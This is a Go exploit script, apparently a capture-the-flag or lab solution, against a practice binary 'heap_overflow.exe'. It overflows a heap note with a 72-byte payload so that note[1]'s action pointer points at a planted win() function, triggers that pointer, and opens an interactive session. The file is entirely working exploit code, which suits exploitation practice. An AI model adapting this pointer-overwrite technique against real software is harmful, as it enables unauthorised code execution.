package main

import (
	"bytes"
	"fmt"
	"log"
	"strconv"
	"winpwn"
)

func parseAddr(line []byte) (uint64, error) {
	idx := bytes.Index(line, []byte("addr=0x"))
	if idx == -1 {
		return 0, fmt.Errorf("no addr= in %q", line)
	}
	return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
}

func main() {
	pf, err := winpwn.OpenPE("heap_overflow.exe")
	if err != nil {
		log.Fatalf("OpenPE: %v", err)
	}
	winRVA, err := pf.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win() not found: %v", err)
	}
	base, err := pf.ImageBase()
	if err != nil {
		log.Fatalf("ImageBase: %v", err)
	}
	winAddr := base + winRVA
	pf.Close()
	fmt.Printf("[+] win() @ 0x%X\n", winAddr)

	tube, err := winpwn.Spawn("heap_overflow.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine: %v", err)
	}

	for _, text := range []string{"A note0", "A note1"} {
		if err := tube.SendLine([]byte(text)); err != nil {
			log.Fatalf("SendLine %s: %v", text, err)
		}
		resp, err := tube.RecvLine()
		if err != nil {
			log.Fatalf("RecvLine: %v", err)
		}
		addr, _ := parseAddr(resp)
		fmt.Printf("[+] %s\n", bytes.TrimSpace(resp))
		_ = addr
	}

	payload := bytes.Repeat([]byte{0x41}, 24)
	payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...)
	payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...)
	payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...)
	payload = append(payload, winpwn.P64(winAddr)...)

	fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload))
	if err := tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload))); err != nil {
		log.Fatalf("SendLine W: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine W resp: %v", err)
	}
	fmt.Printf("[+] overflow written, note[1]->action now points to win()\n")

	fmt.Printf("[+] calling C 1...\n")
	if err := tube.SendLine([]byte("C 1")); err != nil {
		log.Fatalf("SendLine C: %v", err)
	}

	tube.Interactive()
}